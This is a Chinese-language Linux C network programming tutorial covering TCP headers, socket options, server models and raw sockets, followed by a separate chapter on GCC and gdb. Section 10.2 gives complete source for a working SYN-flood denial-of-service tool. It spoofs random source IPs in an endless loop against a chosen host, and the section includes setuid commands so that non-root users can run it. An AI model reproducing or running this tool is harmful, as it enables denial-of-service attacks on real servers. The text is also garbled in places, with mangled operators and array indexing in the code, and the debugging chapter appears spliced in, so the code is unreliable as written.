|首部长度| 保留 |R|C|S|Y|I| 窗口 |

| | |G|K|H|N|N| |

| 校验和 | 紧急指针 |

| 选项 | 填充字节 |

TCP 的结构在<netinet/tcp.h>;中定义为：

```
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
```

```
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1：4;
u_int16_t doff：4;
u_int16_t fin：1;
u_int16_t syn：1;
u_int16_t rst：1;
u_int16_t psh：1;
u_int16_t ack：1;
u_int16_t urg：1;
u_int16_t res2：2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff：4;
u_int16_t res1：4;
u_int16_t res2：2;
u_int16_t urg：1;
u_int16_t ack：1;
u_int16_t psh：1;
u_int16_t rst：1;
u_int16_t syn：1;
u_int16_t fin：1;
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_prt;
};
```

source 发送 TCP 数据的源端口
dest 接受 TCP 数据的目的端口
seq 标识该 TCP 所包含的数据字节的开始序列号
ack_seq 确认序列号,表示接受方下一次接受的数据序列号.
doff 数据首部长度.和 IP 协议一样,以 4 字节为单位.一般的时候为 5
urg 如果设置紧急数据指针,则该位为 1
ack 如果确认号正确,那么为 1
psh 如果设置为 1,那么接收方收到数据后,立即交给上一层程序
rst 为 1 的时候,表示请求重新连接
syn 为 1 的时候,表示请求建立连接
fin 为 1 的时候,表示亲戚关闭连接
window 窗口,告诉接收者可以接收的大小
check 对 TCP 数据进行较核
urg_ptr 如果 urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值
关于 TCP 协议的详细情况,请查看 RFC793

7.6 TCP 连接的建立

TCP 协议是一种可靠的连接,为了保证连接的可靠性,TCP 的连接要分为几个步骤.我们把这个连接过程称为"三次握手".
下面我们从一个实例来分析建立连接的过程.
第一步客户机向服务器发送一个 TCP 数据包,表示请求建立连接. 为此,客户端将数据包的 SYN 位设置为 1,并且设置序列号 seq=1000(我们假设为 1000).
第二步服务器收到了数据包,并从 SYN 位为 1 知道这是一个建立请求的连接.于是服务器也向客户端发送一个 TCP 数据包.因为是响应客户机的请求,于是服务器设置 ACK 为 1,sak_seq=1001(1000+1)同时设置自己的序列号.seq=2000(我们假设为 2000).
第三步客户机收到了服务器的 TCP,并从 ACK 为 1 和 ack_seq=1001 知道是从服务器来的确认信息.于是客户机也向服务器发送确认信息.客户机设置 ACK=1,和 ack_seq=2001,seq=1001,发送给服务器.至此客户端完成连接.
最后一步服务器受到确认信息,也完成连接.
通过上面几个步骤,一个 TCP 连接就建立了.当然在建立过程中可能出现错误,不过 TCP 协议可以保证自己去处理错误的.
说一说其中的一种错误.
听说过 DOS 吗?(可不是操作系统啊).今年春节的时候,美国的五大网站一起受到攻击.攻击者用的就是 DOS(拒绝式服务)方式.概括的说一下原理.
客户机先进行第一个步骤.服务器收到后,进行第二个步骤.按照正常的 TCP 连接,客户机应该进行第三个步骤.
不过攻击者实际上并不进行第三个步骤.因为客户端在进行第一个步骤的时候,修改了自己的 IP 地址,就是说将一个实际上不存在的 IP 填充在自己 IP 数据包的发送者的 IP 一栏.这样因为服务器发的 IP 地址没有人接收,所以服务端会收不到第三个步骤的确认信号,这样服务务端会在那边一直等待,直到超时.
这样当有大量的客户发出请求后,服务端会有大量等待,直到所有的资源被用光,而不能再接收客户机的请求.
这样当正常的用户向服务器发出请求时,由于没有了资源而不能成功.于是就出现了春节时所出现的情况.

---

8. 套接字选项

有时候我们要控制套接字的行为(如修改缓冲区的大小),这个时候我们就要控制套接字的
选项了.

8.1 getsockopt 和 setsockopt

```
int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optl
en)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t
```

*optlen)
level 指定控制套接字的层次.可以取三种值： 1)SOL_SOCKET：通用套接字选项. 2)IPPRO
TO_IP：IP 选项. 3)IPPROTO_TCP：TCP 选项.
optname 指定控制的方式(选项的名称),我们下面详细解释
optval 获得或者是设置套接字选项.根据选项名称的数据类型进行转换
选项名称 说明 数据类型
==========
==========
SOL_SOCKET

SO_BROADCAST 允许发送广播数据 int
SO_DEBUG 允许调试 int
SO_DONTROUTE 不查找路由 int
SO_ERROR 获得套接字错误 int
SO_KEEPALIVE 保持连接 int
SO_LINGER 延迟关闭连接 struct linge
r
SO_OOBINLINE 带外数据放入正常数据流 int
SO_RCVBUF 接收缓冲区大小 int
SO_SNDBUF 发送缓冲区大小 int
SO_RCVLOWAT 接收缓冲区下限 int
SO_SNDLOWAT 发送缓冲区下限 int
SO_RCVTIMEO 接收超时 struct timev
al
SO_SNDTIMEO 发送超时 struct timev
al
SO_REUSERADDR 允许重用本地地址和端口 int
SO_TYPE 获得套接字类型 int
SO_BSDCOMPAT 与 BSD 系统兼容 int
==========
==========
IPPROTO_IP

IP_HDRINCL 在数据包中包含 IP 首部 int
IP_OPTINOS IP 首部选项 int
IP_TOS 服务类型
IP_TTL 生存时间 int
==========
==========
IPPRO_TCP

TCP_MAXSEG TCP 最大数据段的大小 int
TCP_NODELAY 不使用 Nagle 算法 int
==========

==========
关于这些选项的详细情况请查看 Linux Programmer's Manual
8.2 ioctl

ioctl 可以控制所有的文件描述符的情况,这里介绍一下控制套接字的选项.
int ioctl(int fd,int req,...)
==========
==========
ioctl 的控制选项

SIOCATMARK 是否到达带外标记 int
FIOASYNC 异步输入/输出标志 int
FIONREAD 缓冲区可读的字节数 int
==========
==========
详细的选项请用 man ioctl_list 查看.
--

9. 服务器模型

学习过《软件工程》吧.软件工程可是每一个程序员"必修"的课程啊.如果你没有学习过, 建议你去看一看. 在这一章里面,我们一起来从软件工程的角度学习网络编程的思想. 在我们写程序之前, 我们都应该从软件工程的角度规划好我们的软件,这样我们开发软件的效率才会高. 在网络程序里面,一般的来说都是许多客户机对应一个服务器.为了处理客户机的请求, 对服务端的程序就提出了特殊的要求.我们学习一下目前最常用的服务器模型.
循环服务器：循环服务器在同一个时刻只可以响应一个客户端的请求
并发服务器：并发服务器在同一个时刻可以响应多个客户端的请求

9.1 循环服务器：UDP 服务器

UDP 循环服务器的实现非常简单：UDP 服务器每次从套接字上读取一个客户端的请求,处理, 然后将结果返回给客户机.
可以用下面的算法来实现.
```
socket(...);
bind(...);
while(1)
{
recvfrom(...);
process(...);
sendto(...);
```

```
}
```

因为 UDP 是非面向连接的,没有一个客户端可以老是占住服务端. 只要处理过程不是死循环, 服务器对于每一个客户机的请求总是能够满足.

9.2 循环服务器：TCP 服务器

TCP 循环服务器的实现也不难：TCP 服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接.

算法如下：

```
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
}
```

TCP 循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后,服务器才可以继续后面的请求.这样如果有一个客户端占住服务器不放时,其它的客户机都不能工作了.因此,TCP 服务器一般很少用循环服务器模型的.

9.3 并发服务器：TCP 服务器

为了弥补循环 TCP 服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是每一个客户机的请求并不由服务器直接处理,而是服务器创建一个 子进程来处理.

算法如下：

```
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
if(fork(..)==0)
{
while(1)
{
read(...);
process(...);
```

```
write(...);
}
close(...);
exit(...);
}
close(...);
}
```

TCP 并发服务器可以解决 TCP 循环服务器客户机独占服务器的情况. 不过也同时带来了一个不小的问题.为了响应客户机的请求,服务器要创建子进程来处理. 而创建子进程是一种非常消耗资源的操作.

9.4 并发服务器：多路复用 I/O

为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用 I/O 模型.
首先介绍一个函数 select

```
int select(int nfds,fd_set *readfds,fd_set *writefds,
fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)
```

一般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足. 比如我们从一个套接字读数据时,可能缓冲区里面没有数据可读(通信的对方还没有 发送数据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不 希望阻塞,我们的一个选择是用 select 系统调用. 只要我们设置好 select 的各个参数,那么当文件可以读写的时候 select 回"通知"我们 说可以读写了. readfds 所有要读的文件文件描述符的集合 writefds 所有要的写文件文件描述符的集合 exceptfds 其他的服要向我们通知的文件描述符 timeout 超时设置.nfds 所有我们监控的文件描述符中最大的那一个加 1

在我们调用 select 时进程会一直阻塞直到以下的一种情况发生. 1)有文件可以读.2)有文件可以写.3)超时所设置的时间到.

为了设置文件描述符我们要使用几个宏. FD_SET 将 fd 加入到 fdset
FD_CLR 将 fd 从 fdset 里面清除
FD_ZERO 从 fdset 中清除所有的文件描述符
FD_ISSET 判断 fd 是否在 fdset 集合中
使用 select 的一个例子

```
int use_select(int *readfd,int n)
{
fd_set my_readfd;
int maxfd;
int i;
maxfd=readfd[0];
for(i=1;i<n;i++)
if(readfd>;maxfd) maxfd=readfd;
while(1)
```

```
{
/* 将所有的文件描述符加入 */
FD_ZERO(&my_readfd);
for(i=0;i<n;i++)
FD_SET(readfd,*my_readfd);
/* 进程阻塞 */
select(maxfd+1,& my_readfd,NULL,NULL,NULL);
/* 有东西可以读了 */
for(i=0;i<n;i++)
if(FD_ISSET(readfd,&my_readfd))
{
/* 原来是我可以读了 */
we_read(readfd);
}
}
}
```

使用 select 后我们的服务器程序就变成了.

```
初始话(socket,bind,listen);
while(1)
{
设置监听读写文件描述符(FD_*);
调用 select;
如果是倾听套接字就绪,说明一个新的连接请求建立
{
建立连接(accept);
加入到监听文件描述符中去;
}
否则说明是一个已经连接过的描述符
{
进行操作(read 或者 write);
}
}
```

多路复用 I/O 可以解决资源限制的问题.着模型实际上是将 UDP 循环模型用在了 TCP 上面.这也就带来了一些问题.如由于服务器依次处理客户的请求,所以可能会导致有的客户会等待很久.

9.5 并发服务器：UDP 服务器

人们把并发的概念用于 UDP 就得到了并发 UDP 服务器模型. 并发 UDP 服务器模型其实是简单的.和并发的 TCP 服务器模型一样是创建一个子进程来处理的 算法和并发的 TCP 模型一样，除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型.

9.6 一个并发 TCP 服务器实例

```
#include <sys/socket.h>;
#include <sys/types.h>;
#include <netinet/in.h>;
#include <string.h>;
#include <errno.h>;
#define MY_PORT 8888
int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in client_addr;
int n;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Socket Error：%s\n\a",strerror(errno));
exit(1);
}
bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果服务器终止后,服务器可以第二次快速启动而不用等待一段时间 */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
{
printf("Bind Error：%s\n\a",strerror(errno));
exit(1);
}
listen(listen_fd,5);
while(1)
{
accept_fd=accept(listen_fd,NULL,NULL);
if((accept_fd<0)&&(errno==EINTR))
continue;
else if(accept_fd<0)
{
printf("Accept Error：%s\n\a",strerror(errno));
continue;
}
if((n=fork())==0)
{
/* 子进程处理客户端的连接 */
char buffer[1024];
close(listen_fd);
```

```
n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);
close(accept_fd);
exit(0);
}
else if(n<0)
printf("Fork Error：%s\n\a",strerror(errno));
close(accept_fd);
}
}
```

你可以用我们前面写客户端程序来调试着程序,或者是用来 telnet 调试

--

10. 原始套接字

我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).

在这一节里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可
以编写出由 TCP 和 UDP 套接字不能够实现的功能. 注意原始套接字只能够由有 root 权限的人创建.

10.1 原始套接字的创建

int sockfd(AF_INET,SOCK_RAW,protocol)
可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如：IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP 等等.详细的情况查看 <netinet/in.h>;下
面我们以一个实例来说明原始套接字的创建和使用

10.2 一个原始套接字的实例

还记得 DOS 是什么意思吗?在这里我们就一起来编写一个实现 DOS 的小程序. 下面是程序的
源代码

```
/******************** DOS.c *****************/
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <netinet/ip.h>;
#include <netinet/tcp.h>;
```

```
#include <stdlib.h>;
#include <errno.h>;
#include <unistd.h>;
#include <stdio.h>;
#include <netdb.h>;
#define DESTPORT 80 /* 要攻击的端口(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage：%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error：%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->;h_addr_list[0]);
}
/**** 使用 IPPROTO_TCP 创建一个 TCP 的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error：%s\n\a",strerror(errno));
exit(1);
}
/******** 设置 IP 数据包格式,告诉系统内核模块 IP 数据包由我们自己来填写 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
setuid(getpid());
```

```
/********* 发送炸弹了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 发送炸弹的实现 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用来放置我们的数据包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充 IP 数据包的头部,还记得 IP 的头格式吗? ******/
ip=(struct ip *)buffer;
ip->;ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->;ip_hl=sizeof(struct ip)>;>;2; /** IP 数据包的头部长度 **/
ip->;ip_tos=0; /** 服务类型 **/
ip->;ip_len=htons(head_len); /** IP 数据包的长度 **/
ip->;ip_id=0; /** 让系统去填写吧 **/
ip->;ip_off=0; /** 和上面一样,省点时间 **/
ip->;ip_ttl=MAXTTL; /** 最长的时间 255 **/
ip->;ip_p=IPPROTO_TCP; /** 我们要发的是 TCP 包 **/
ip->;ip_sum=0; /** 校验和让系统去做 **/
ip->;ip_dst=addr->;sin_addr; /** 我们攻击的对象 **/
/******* 开始填写 TCP 数据包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->;source=htons(LOCALPORT);
tcp->;dest=addr->;sin_port; /** 目的端口 **/
tcp->;seq=random();
tcp->;ack_seq=0;
tcp->;doff=5;
tcp->;syn=1; /** 我要建立连接 **/
tcp->;check=0;
/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
while(1)
{
/** 你不知道我是从那里来的,慢慢的去等吧! **/
ip->;ip_src.s_addr=random();
/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
/** 下面这条可有可无 */
tcp->;check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
```

```
}
}
/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>;1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>;>;16)+(sum&0xffff);
sum+=(sum>;>;16);
answer=~sum;
return(answer);
}
```

编译一下,拿 localhost 做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为 root,且 设置 setuid 位

```
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
```

10.3 总结

原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了.. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个 TCP 套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用相应的模块给数据加上 TCP 头部,然后加上 IP 头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源 IP 地址,所以我们使用了 setsockopt 函数,如果我们只是修改 TCP 数据,那么 IP 数据一样也可以由系统来创建的.

--

11. 后记

总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是一件不难的事,做起来才知道原来有很多的地方都比我想象的要难.我还把很多的东西都省略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步.

如果我们只是编写一般的网络程序还是比较容易的,但是如果我们想写出比较好的网络程序我们还有着遥远的路要走. 网络程序一般的来说都是多进程加上多线程的.为了处理好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许许多多的突发事件,为此我们还要去学习更高级的 事件处理知识.现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库. 如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.总之我们要学的东西还很多很多.

看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的软件水平大家就会知道了什么叫做差距.我们现在用的软件有几个是我们中国人自己编写的.不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的差距, 我们就还有希望. 毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的。我们就可以追上别人直到超过别人!

相信一点：

别人可以做到的我们一样可以做到,而且可以比别人做的更好!

勇敢的年轻人,为了我们伟大祖国的软件产业,为了祖国的未来,努力的去奋斗吧!祖国会记住你们的!

hoyt

11.1 参考资料

<<实用 UNIX 编程>;>;---机械工业出版社.

<<Linux 网络编程>;>;--清华大学出版社.

第九章 Linux 下 C 开发工具介绍

前 言

Linux 的发行版中包含了很多软件开发工具. 它们中的很多是用于 C 和 C++应用程序开发的. 本文介绍了在 Linux 下能用于 C 应用程序开发和调试的工具. 本文的主旨是介绍如何在 Linux 下使用 C 编译器和其他 C 编程工具, 而非 C 语言编程的教程.

1.GNU C 编译器

GNU C 编译器(GCC)是一个全功能的 ANSI C 兼容编译器. 如果你熟悉其他操作系统或硬件平台上的一种 C 编译器, 你将能很快地掌握 GCC. 本节将介绍如何使用 GCC 和一些 GCC 编译器最常用的选项.

2.使用 GCC

通常后跟一些选项和文件名来使用 GCC 编译器. gcc 命令的基本用法如下：

gcc [options] [filenames]
命令行选项指定的操作将在命令行上每个给出的文件上执行. 下一小节将叙述一些你会最常用到的选项.

3.GCC 选项

GCC 有超过 100 个的编译选项可用. 这些选项中的许多你可能永远都不会用到, 但一些主
要的选项将会频繁用到. 很多的 GCC 选项包括一个以上的字符. 因此你必须为每个选项指定各自的连字符, 并且就象大多数 Linux 命令一样你不能在一个单独的连字符后跟一组选项. 例如, 下面的两个命令是不同的：

```
gcc -p -g test.c
```

```
gcc -pg test.c
```

第一条命令告诉 GCC 编译 test.c 时为 prof 命令建立剖析(profile)信息并且把调试信息加入到可执行的文件里. 第二条命令只告诉 GCC 为 gprof 命令建立剖析信息.

当你不用任何选项编译一个程序时, GCC 将会建立(假定编译成功)一个名为 a.out 的可执行文件. 例如, 下面的命令将在当前目录下产生一个叫 a.out 的文件：

```
gcc test.c
```

你能用 -o 编译选项来为将产生的可执行文件指定一个文件名来代替 a.out. 例如, 将一个叫 count.c 的 C 程序编译为名叫 count 的可执行文件, 你将输入下面的命令：

gcc -o count count.c

注意： 当你使用 -o 选项时, -o 后面必须跟一个文件名.

GCC 同样有指定编译器处理多少的编译选项. -c 选项告诉 GCC 仅把源代码编译为目标代码而跳过汇编和连接的步骤. 这个选项使用的非常频繁因为它使得编译多个 C 程序时速度更快并且更易于管理. 缺省时 GCC 建立的目标代码文件有一个 .o 的扩展名.

-S 编译选项告诉 GCC 在为 C 代码产生了汇编语言文件后停止编译. GCC 产生的汇编语言文件的缺省扩展名是 .s . -E 选项指示编译器仅对输入文件进行预处理. 当这个选项被使用时, 预处理器的输出被送到标准输出而不是储存在文件里.

4.优 化 选 项

当你用 GCC 编译 C 代码时, 它会试着用最少的时间完成编译并且使编译后的代码易于调试. 易于调试意味着编译后的代码与源代码有同样的执行次序, 编译后的代码没有经过优化. 有很多选项可用于告诉 GCC 在耗费更多编译时间和牺牲易调试性的基础上产生更小更快的可执行文件. 这些选项中最典型的是-O 和 -O2 选项.

-O 选项告诉 GCC 对源代码进行基本优化. 这些优化在大多数情况下都会使程序执行的更快. -O2 选项告诉 GCC 产生尽可能小和尽可能快的代码. -O2 选项将使编译的速度比使用 -O 时慢. 但通常产生的代码执行速度会更快.

除了 -O 和 -O2 优化选项外, 还有一些低级选项用于产生更快的代码. 这些选项非常的特殊, 而且最好只有当你完全理解这些选项将会对编译后的代码产生什么样的效果时再去使用. 这些选项的详细描述, 请参考 GCC 的指南页, 在命令行上键入 man gcc .

调试和剖析选项
GCC 支持数种调试和剖析选项. 在这些选项里你会最常用到的是 -g 和 -pg 选项.
-g 选项告诉 GCC 产生能被 GNU 调试器使用的调试信息以便调试你的程序. GCC 提供了
一个很多其他 C 编译器里没有的特性, 在 GCC 里你能使 -g 和 -O (产生优化代码)联用 .. 这一点非常有用因为你能在与最终产品尽可能相近的情况下调试你的代码. 在你同时使用这两个选项时你必须清楚你所写的某些代码已经在优化时被 GCC 作了改动. 关于调试 C 程序的更多信息请看下一节"用 gdb 调试 C 程序" .

-pg 选项告诉 GCC 在你的程序里加入额外的代码, 执行时, 产生 gprof 用的剖析信息以显示你的程序的耗时情况. 关于 gprof 的更多信息请参考 "gprof" 一节.

5.用 gdb 调试 GCC 程序

Linux 包含了一个叫 gdb 的 GNU 调试程序. gdb 是一个用来调试 C 和 C++ 程序的强力调试器. 它使你能在程序运行时观察程序的内部结构和内存的使用情况. 以下是 gdb 所提供的一些功能:

它使你能监视你程序中变量的值.
它使你能设置断点以使程序在指定的代码行上停止执行.
它使你能一行行的执行你的代码.

在命令行上键入 gdb 并按回车键就可以运行 gdb 了, 如果一切正常的话, gdb 将被启动并且你将在屏幕上看到类似的内容:

GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
(gdb)
当你启动 gdb 后, 你能在命令行上指定很多的选项. 你也可以以下面的方式来运行 gdb :

gdb <fname>;
当你用这种方式运行 gdb , 你能直接指定想要调试的程序. 这将告诉 gdb 装入名为 fname 的可执行文件. 你也可以用 gdb 去检查一个因程序异常终止而产生的 core 文件, 或者与一个正在运行的程序相连. 你可以参考 gdb 指南页或在命令行上键入 gdb -h 得到一个有关这些选项的说明的简单列表.

为调试编译代码(Compiling Code for Debugging)
为了使 gdb 正常工作, 你必须使你的程序在编译时包含调试信息. 调试信息包含你程序里的每个变量的类型和在可执行文件里的地址映射以及源代码的行号. gdb 利用这些信息使源代码和机器码相关联.

在编译时用 -g 选项打开调试选项.

6.gdb 基本命令

gdb 支持很多的命令使你能实现不同的功能. 这些命令从简单的文件装入到允许你检查所调用的堆栈内容的复杂命令, 表 27.1 列出了你在用 gdb 调试时会用到的一些命令. 想了解 gdb 的详细使用请参考 gdb 的指南页.

基本 gdb 命令.

命 令 描 述
file 装入想要调试的可执行文件.
kill 终止正在调试的程序.
list 列出产生执行文件的源代码的一部分.
next 执行一行源代码但不进入函数内部.
step 执行一行源代码而且进入函数内部.
run 执行当前被调试的程序
quit 终止 gdb
watch 使你能监视一个变量的值而不管它何时被改变.
print 显示表达式的值
break 在代码里设置断点, 这将使程序执行到这里时被挂起.
make 使你能不退出 gdb 就可以重新产生可执行文件.
shell 使你能不离开 gdb 就执行 UNIX shell 命令.

gdb 支持很多与 UNIX shell 程序一样的命令编辑特征. 你能象在 bash 或 tcsh 里那样按 Tab 键让 gdb 帮你补齐一个唯一的命令, 如果不唯一的话 gdb 会列出所有匹配的命令. 你也能用光标键上下翻动历史命令.

7.gdb 应用举例

本节用一个实例教你一步步的用 gdb 调试程序. 被调试的程序相当的简单, 但它展示了
gdb 的典型应用.

下面列出了将被调试的程序. 这个程序被称为 hello , 它显示一个简单的问候, 再用反序将它列出.

```
#include <stdio.h>;

static void my_print (char *);
```

```
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size - i] = string;
string2[size+1] = '';

printf ("The string printed backward is %s ", string2);
}
```

用下面的命令编译它：

```
gcc -g -o hello hello.c
```

这个程序执行时显示如下结果：

```
../hello
The string is hello world!

The string printed backward is
```

输出的第一行是正确的，但第二行打印出的东西并不是我们所期望的．我们所设想的输出应该是：

```
The string printed backward is !dlrow olleh
```

由于某些原因，my_print2 函数没有正常工作．让我们用 gdb 看看问题究竟出在哪儿，先键入如下命令：

```
gdb hello
```

注意： 记得在编译 hello 程序时把调试选项打开.

如果你在输入命令时忘了把要调试的程序作为参数传给 gdb，你可以在 gdb 提示符下用 file 命令来载入它：

(gdb) file hello
这个命令将载入 hello 可执行文件就象你在 gdb 命令行里装入它一样.

这时你能用 gdb 的 run 命令来运行 hello 了. 当它在 gdb 里被运行后结果大约会象这样：

(gdb) run

Starting program： /root/hello

The string is hello world!

The string printed backward is

Program exited with code 040
这个输出和在 gdb 外面运行的结果一样. 问题是, 为什么反序打印没有工作? 为了找出症结所在, 我们可以在 my_print2 函数的 for 语句后设一个断点, 具体的做法是在 gdb 提示符下键入 list 命令三次, 列出源代码：

(gdb) list

(gdb) list

(gdb) list

--

技巧： 在 gdb 提示符下按回车健将重复上一个命令.

--

第一次键入 list 命令的输出如下：

```
1 #include <stdio.h>;
2
3 static void my_print (char *);
4 static void my_print2 (char *);
5
6 main ()
7 {
8 char my_string[] = "hello world!";
9 my_print (my_string);
10 my_print2 (my_string);
```

如果按下回车, gdb 将再执行一次 list 命令, 给出下列输出：

```
11 }
12
13 void my_print (char *string)
14 {
15 printf ("The string is %s ", string);
16 }
17
18 void my_print2 (char *string)
19 {
20 char *string2;
```

再按一次回车将列出 hello 程序的剩余部分：

```
21 int size, i;
22
23 size = strlen (string);
24 string2 = (char *) malloc (size + 1);
25 for (i = 0; i < size; i++)
26 string2[size - i] = string;
27 string2[size+1] = '';
28
29 printf ("The string printed backward is %s ", string2);
30 }
```

根据列出的源程序, 你能看到要设断点的地方在第 26 行, 在 gdb 命令行提示符下键入如下命令设置断点：

```
(gdb) break 26
```

gdb 将作出如下的响应：

```
Breakpoint 1 at 0x804857c：  file hello.c, line 26.

(gdb)
```

现在再键入 run 命令, 将产生如下的输出：

Starting program： /root/hello

The string is hello world!

Breakpoint 1, my_print2 (string=0xbffffab0 "hello world!") at hello.c：26
26 string2[size - i] = string;
你能通过设置一个观察 string2[size - i] 变量的值的观察点来看出错误是怎样产生的, 做法是键入：

(gdb) watch string2[size - i]
gdb 将作出如下回应：

Hardware watchpoint 2： string2[size - i]
现在可以用 next 命令来一步步的执行 for 循环了：

(gdb) next
经过第一次循环后, gdb 告诉我们 string2[size - i] 的值是 `h`. gdb 用如下的显示来告诉你这个信息：

Hardware watchpoint 2： string2[size - i]

Old value = 0 '00'
New value = 104 'h'
my_print2 (string=0xbffffab0 "hello world!") at hello.c：25
25 for (i = 0; i < size; i++)
这个值正是期望的. 后来的数次循环的结果都是正确的. 当 i=11 时, 表达式 string2[size - i] 的值等于 `!`, size - i 的值等于 1, 最后一个字符已经拷到新串里了.

如果你再把循环执行下去, 你会看到已经没有值分配给 string2[0] 了, 而它是新串的第一个字符, 因为 malloc 函数在分配内存时把它们初始化为空(null)字符. 所以 string2 的第一个字符是空字符. 这解释了为什么在打印 string2 时没有任何输出了.

现在找出了问题出在哪里, 修正这个错误是很容易的. 你得把代码里写入 string2 的第一个字符的的偏移量改为 size - 1 而不是 size. 这是因为 string2 的大小为 12, 但起始偏移量是 0, 串内的字符从偏移量 0 到 偏移量 10, 偏移量 11 为空字符保留.

改正方法非常简单. 这是这种解决办法的代码：

#include <stdio.h>;

```
static void my_print (char *);
static void my_print2 (char *);

main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s ", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size -1 - i] = string;
string2[size] = '';

printf ("The string printed backward is %s ", string2);
}
```

